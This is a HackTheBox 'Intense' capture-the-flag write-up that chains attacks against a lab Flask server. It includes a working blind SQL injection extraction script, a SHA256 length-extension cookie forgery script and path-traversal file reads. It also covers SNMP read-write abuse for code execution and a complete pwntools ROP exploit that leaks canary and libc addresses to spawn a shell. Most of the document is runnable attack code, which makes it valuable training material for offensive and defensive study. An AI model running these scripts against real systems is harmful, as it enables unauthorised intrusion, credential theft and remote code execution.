# HackTheBox - Intense ## Enumeration Nmap: ``` # Nmap 7.80 scan initiated Sat Jul 11 17:54:15 2020 as: nmap -sC -sV -oN nmap 10.10.10.195 Nmap scan report for 10.10.10.195 Host is up (0.043s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA) | 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA) |_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Intense - WebApp Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jul 11 17:54:24 2020 -- 1 IP address (1 host up) scanned in 8.86 seconds ``` UDP Scan: ``` Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-14 00:04 CEST Nmap scan report for intense.htb (10.10.10.195) Host is up (0.038s latency). Not shown: 956 closed ports, 43 open|filtered ports PORT STATE SERVICE 161/udp open snmp Nmap done: 1 IP address (1 host up) scanned in 950.87 seconds ``` ### Website: ![](https://i.imgur.com/MshmhsC.png) We can login with `guest:guest` and also download the source code of the application. src: http://10.10.10.195/src.zip After logging in we are greeted with a friendly message telling us not to rely on automated tools ;) ![](https://i.imgur.com/jqP29ra.png) We also see a page called "Submit" though it doesn't actually require any authentication. It is possible to submit message but we don't get any feedback or response. ![](https://i.imgur.com/k7q0DtI.png) ### SNMP Running snmpwalk with the `public` community string we can see some information, though it's not what we would expect from snmp. Usually there is more information to be retrieved ``` root@[10.10.14.14]:~/htb/intense# snmpwalk -c public -v2c 10.10.10.195 iso.3.6.1.2.1.1.1.0 = STRING: "Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 iso.3.6.1.2.1.1.3.0 = Timeticks: (1304662) 3:37:26.62 iso.3.6.1.2.1.1.4.0 = STRING: "Me <user@intense.htb>" iso.3.6.1.2.1.1.5.0 = STRING: "intense" iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay" iso.3.6.1.2.1.1.7.0 = INTEGER: 72 iso.3.6.1.2.1.1.8.0 = Timeticks: (130) 0:00:01.30 [...] Cut off for writeup ``` Let's move on and keep this in mind ## Source Code The webserver is a Flask python application and the folder structure looks like this: ![](https://i.imgur.com/I97CiJf.png) In the source code we can see different functionalites like login, cookie handling, admin functions and the message submit. Let's look at the submit function first. ```python @app.route("/submitmessage", methods=["POST"]) def submitmessage(): message = request.form.get("message", '') if len(message) > 140: return "message too long" if badword_in_str(message): return "forbidden word in message" # insert new message in DB try: # the following query is NOT safe query_db("insert into messages values ('%s')" % message) except sqlite3.Error as e: return str(e) return "OK" ``` Only messages up to 140 characters are allowed, then it's checking for some blacklisted words with `badword_in_str(message)` and lastly running a database query which seems to simply insert our message into a table. It's easy to spot that there is a SQLi vulnerability since it simply uses python string formatting and not a prepared statement. We can see how it should be done in the try_login function ```python def try_login(form): """ Try to login with the submitted user info """ if not form: return None username = form["username"] password = hash_password(form["password"]) # The followng query is safe result = query_db( "select count(*) from users where username = ? and secret = ?", (username, password), one=True) if result and result[0]: return {"username": username, "secret":password} return None ``` ## SQL Injection There are some things that can be done to exploit SQL injections in a sqlite3 database. One might stumble accross this handy cheat sheet: https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet We can't do regular boolean blind based injection since we have no output if our query succeeded or not. We can't do stacked queries since they're also disabled by default. We can't do time-based extraction since the term "rand" is blacklisted along with a few others. ```python def badword_in_str(data): data = data.lower() badwords = ["rand", "system", "exec", "date"] for badword in badwords: if badword in data: return True return False ``` After some poking we figure out that we can't actually write anything to the sqlite3 db, because it's not commiting after our query. That means this insertion is useless anyway. The load_extension() RCE is also disabled, or at least shows us an error. I used string concatenation and used sub selects to issue other queries: ![](https://i.imgur.com/qvzm5ej.png) Why are we able to see an error? Let's look at the code again ```python try: query_db("insert into messages values ('%s')" % message) except sqlite3.Error as e: return str(e) # BINGO! return "OK" ``` If there is an error it returns it as a string to us, so we get a different output. That way we have a function to check if our query was successful or not. I figured that with load_extension() the error is raised on runtime, meaing we only see the error if we actually reach that part of the query. Now it's possible to extract information by changing it to a boolean blind injection like this: ![](https://i.imgur.com/j1qfndw.png) We already know there is a user with the username "guest". We also know some structures of the db by looking at the source code. The conditionals for sqlite are also covered in the cheat sheet. If we input a wrong username, our conditional won't succeed and simply print an "OK" instead of the "not authorized" error that is caused by load_extension(). ![](https://i.imgur.com/OAEle1i.png) ``` '||(select CASE username WHEN 'nonexistent' THEN load_extension(1) end from users where username = 'guest'))-- ``` Now we can use the usual methods to extract information by using the [SQL LIKE Operator](https://www.w3schools.com/sql/sql_like.asp) A query to extract the secret column step by step could look like this: ``` '||(select CASE username WHEN 'admin' THEN load_extension(1) end from users where secret like '{}%'))-- ``` (While doing this box i set up a local environment and tested it against my own sqlite3 database. That way it's much easier to see what's working and what's not) Finally I created a script to do the boring work for me. While writing that script I was reminded that the query must not exceed 140 characters. To bypass that I extracted the front part of the secret, then the back part and mashed them together. There might be a smarter way, but it worked for me. ### Scripting it Looking at it now, I realize that the login step probably isn't needed after all. ```python= import requests username = 'guest' password = 'guest' url = 'http://127.0.0.1:5000' url = 'http://10.10.10.195' def login(url,username,password): url_login = url + '/postlogin' with requests.Session() as s: data={'username':username, 'password':password} s.post(url_login, data=data, allow_redirects=False) resp = s.get(url, allow_redirects=False) return s.cookies def sqli(user): cookies = login(url,username,password) payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '{}%'))--""" charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~' secret = '' for x in range(0,40): for c in charset: query = payload.format(user,secret+c) r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query}) if r.text == 'not authorized': secret = secret + c print('Secret: '+secret) break return secret def sqli2(user): cookies = login(url,username,password) payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '%{}'))--""" charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~' secret = '' for x in range(0,40): for c in charset: query = payload.format(user,c+secret) r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query}) if r.text == 'not authorized': secret = c + secret print('Secret: '+secret) break return secret part1,part2 = sqli('admin')[:32],sqli2('admin')[-32:] print('Part 1: {} with length={}'.format(part1,len(part1))) print('Part 2: {} with length={}'.format(part2,len(part2))) secret = part1 + part2 print('Recovered Secret: '+secret) ``` The differences between sqli() and sqli2() are here: `[..] from users where secret like '{}%'))--` sqli() `[..] from users where secret like '%{}'))--` sqli2() and here ```python if r.text == 'not authorized': secret = secret + c print('Secret: '+secret) break ``` ```python if r.text == 'not authorized': secret = c + secret # Swapped print('Secret: '+secret) break ``` The script is nice enough to present us with the admins password hash ![](https://i.imgur.com/iCwMgs2.png) `Recovered Secret: f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105` We can try to crack the sha256 hash but fast enough we come to the conclusion that it's not feasable to crack. ## Session Cookies & lwt.py Now is the time where it's worth into looking how the application handles it's session cookies. You might have already noticed that the username and secret are actually stored inside the cookie ![](https://i.imgur.com/uGzR7Ue.png) Decoded it will look like this ![](https://i.imgur.com/KtX3LjO.png) ![](https://i.imgur.com/owUngDl.png) The cookie consists of two parts: 1. User Information 2. Signature The user information looks like this: ``` username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec; ``` So if we are able to fake or forge a signature, we should be able to authenticate as the admin user without knowing the plaintext password. The signature is computed by this function in lwt.py: ```python def sign(msg): """ Sign message with secret key """ return sha256(SECRET + msg).digest() ``` The SECRET value is random and not known by the user ```python SECRET = os.urandom(randrange(8, 15)) ``` We only know the range of it's length, it's between 8 and 15 bytes long. The signature itself is also a sha256 hash, which is base64 encoded and appended to the User Information part. ## Attacking SHA256 The SHA256 hashing function aswell as other hashing function of the SHA-family are suspectible to a "Length Extension Attack". Details about the attack itself can be found on wikipedia: https://en.wikipedia.org/wiki/Length_extension_attack There are also writeups about CTF Challenges like this 2014 PlaidCTF one involving this kind of attack: https://conceptofproof.wordpress.com/2014/04/13/plaidctf-2014-web-150-mtgox-writeup/ With this attack we can alter an already valid cookie and forge a new valid signature for it. We need some things for this to work: - part of plaintext with a valid signature - length of the uknown rest of the plaintext (SECRET for us) Once we know these two things we can forge a cookie with a signature that will be valid without actually knowing the SECRET part. From then on we can add something to our cookie (the admin user information) and forge a valid signature for it. By studying (or debugging) the code enough, you will notice that the app will throw away additional user info parts and only use the ones at the end of it. So we can simply add the admin part like so: ``` username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105; ``` In our case we don't actually know the exact length of secret, but we know the range it will be in. Since it's a very small range we can just guess it pretty quickly. I used the same tool as in the PlaidCTF Writeup, though i used the python library instead of the cli tool. It's called [hashpump](https://github.com/bwall/HashPump) ```python= import requests import hashpumpy from base64 import b64decode, b64encode url = 'http://127.0.0.1:5000' url = 'http://10.10.10.195' admin = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;' session = 'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;' def login(url,username,password): url_login = url + '/postlogin' with requests.Session() as s: data={'username':username, 'password':password} s.post(url_login, data=data, allow_redirects=False) resp = s.get(url, allow_redirects=False) return s.cookies def attack(length): cookies = login(url,'guest','guest') data,sig = cookies['auth'].split('.') hexdigest = b64decode(sig).hex() return hashpumpy.hashpump(hexdigest,session,admin,length) for x in range(8,15): sig,data = attack(x) auth = str(b64encode(data),'utf-8')+'.'+str(b64encode(bytes.fromhex(sig)),'utf-8') r = requests.get(url+'/admin',cookies={'auth':auth}) if r.status_code == 200: print('Success!') print('Secret Length='+str(x)) print('Cookie: auth='+auth) break ``` And sure enough we will receive a valid cookie that logs us in as the admin user! ![](https://i.imgur.com/aETrtmL.png) ![](https://i.imgur.com/G8DgUjj.png) ## Local File Inclusion The admin log functions are both suspectible to path traversal attack, meaning we can read any text file on the system and list all (for us) readable directories. Please don't ever use code like this. ```python #### Logs functions #### def admin_view_log(filename): if not path.exists(f"logs/{filename}"): return f"Can't find {filename}" with open(f"logs/{filename}") as out: return out.read() def admin_list_log(logdir): if not path.exists(f"logs/{logdir}"): return f"Can't find {logdir}" return listdir(logdir) ``` ![](https://i.imgur.com/uPmraTm.png) With this attack we can grab the user.txt file, but to proceed we must first get a shell. Remembering the Enumeration phase, we saw that the udp port 161 was open and had snmp running on it. Time to look at the snmp configuration file in `/etc/snmp/snmpd.conf` ``` agentAddress udp:161 view systemonly included .1.3.6.1.2.1.1 view systemonly included .1.3.6.1.2.1.25.1 rocommunity public default -V systemonly rwcommunity SuP3RPrivCom90 ############################################################################### # # SYSTEM INFORMATION # # Note that setting these values here, results in the corresponding MIB objects being 'read-only' # See snmpd.conf(5) for more details [..] Cut off for writeup ``` We don't actually care about what's being served to snmp, there is something else that looks suspicious. A custom community with open read-write permissions: `rwcommunity SuP3RPrivCom90` This can be abused to get code execution on the system. For our convenience there is an easy to use metasploit module named `exploit/linux/snmp/net_snmpd_rw_access`. ## Note Server in the home directory of the user "user" we can find an application called "note_server" along with it's source code in "note_server.c" This is only exploitable with a shell because the note_server is running on 127.0.0.1:5001 which isn't accessible otherwise. Now we can upload our exploit to the box, or better forward the port to our box with ssh etc. ## Exploit ```python= from pwn import * import struct #context.log_level = 'debug' def pad(data,size): return data+('\x41'*(size-len(data))) def send_note(data): r.send('\x01') r.send(struct.pack('B',len(data))[0]) r.send(data) def print_note(): # returns and closes socket r.send('\x03') def copy_to_end(offset,size): r.send('\x02') off = struct.pack('H',offset) r.send(off) r.send(struct.pack('B',size)) # reads 1 byte def leak_canary(): # fill buffer with 1024 send_note('A'*0xff) send_note('B'*0xff) send_note('C'*0xff) send_note('D'*0xff) send_note('a'*4) # overflow copy_to_end(1024,32) print_note() r.recv(1024) rbp = u64(r.recv(8)) canary = u64(r.recv(8)) r.recv(8) pie_leak = u64(r.recv(8))-0xf54 log.info('Leaked RBP: '+hex(rbp)) log.info('Leaked Canary: '+hex(canary)) log.info('Leaked PIE Base: '+hex(pie_leak)) return canary,rbp,pie_leak elf = ELF('./note_server') log.info('Read: '+hex(elf.got['read'])) r = remote('localhost',5001) canary,rbp,pie = leak_canary() r = remote('localhost',5001) log.info('Doing Overflow') # gadgets pop_rsi_r15 = 0xfd1 pop_rdi = 0xfd3 system_offset = 0xa5d20 # change (libc) payload = 'A'*8 payload += p64(canary) payload += p64(rbp) payload += p64(pie+elf.plt['read']) payload += p64(pie+pop_rsi_r15) payload += p64(pie+elf.got['read']) payload += p64(0xdecafbad) payload += p64(pie+0x900) # write payload += p64(0xdecafbad) data = pad(payload,0xff) send_note(data) send_note('B'*0xff) send_note('C'*0xff) send_note('D'*0xff) send_note('a'*4) copy_to_end(0,len(payload)) print_note() r.send('z'*4) r.recv(0x448) libc_read = u64(r.recv(8)) r.recv() log.info('Leaked LIBC Read: '+hex(libc_read)) # final step libc_base = libc_read - 0x110070 # change one_gadget = libc_base + 0x4f322 # change libc_dup2 = libc_base + 0x1109a0 #0xeeeb0 # change (libc) r = remote('localhost',5001) log.info('Doing Overflow') payload = 'A'*8 payload += p64(canary) payload += p64(rbp) payload += p64(pie+pop_rdi) # pop rdi payload += p64(4) # fd4 payload += p64(pie+pop_rsi_r15) # pop rsi r15 payload += p64(0) # fd0 = stdin payload += p64(0) # r15 payload += p64(libc_dup2) payload += p64(pie+pop_rdi) # pop rdi payload += p64(4) # fd4 payload += p64(pie+pop_rsi_r15) # pop rsi r15 payload += p64(1) # fd1 = stdout payload += p64(0) # r15 payload += p64(libc_dup2) payload += p64(one_gadget) data = pad(payload,0xff) send_note(data) send_note('B'*0xff) send_note('C'*0xff) send_note('D'*0xff) send_note('a'*4) copy_to_end(0,len(payload)) print_note() r.recv() r.interactive() ``` ###### tags: `HTB` `PWN` `CTF`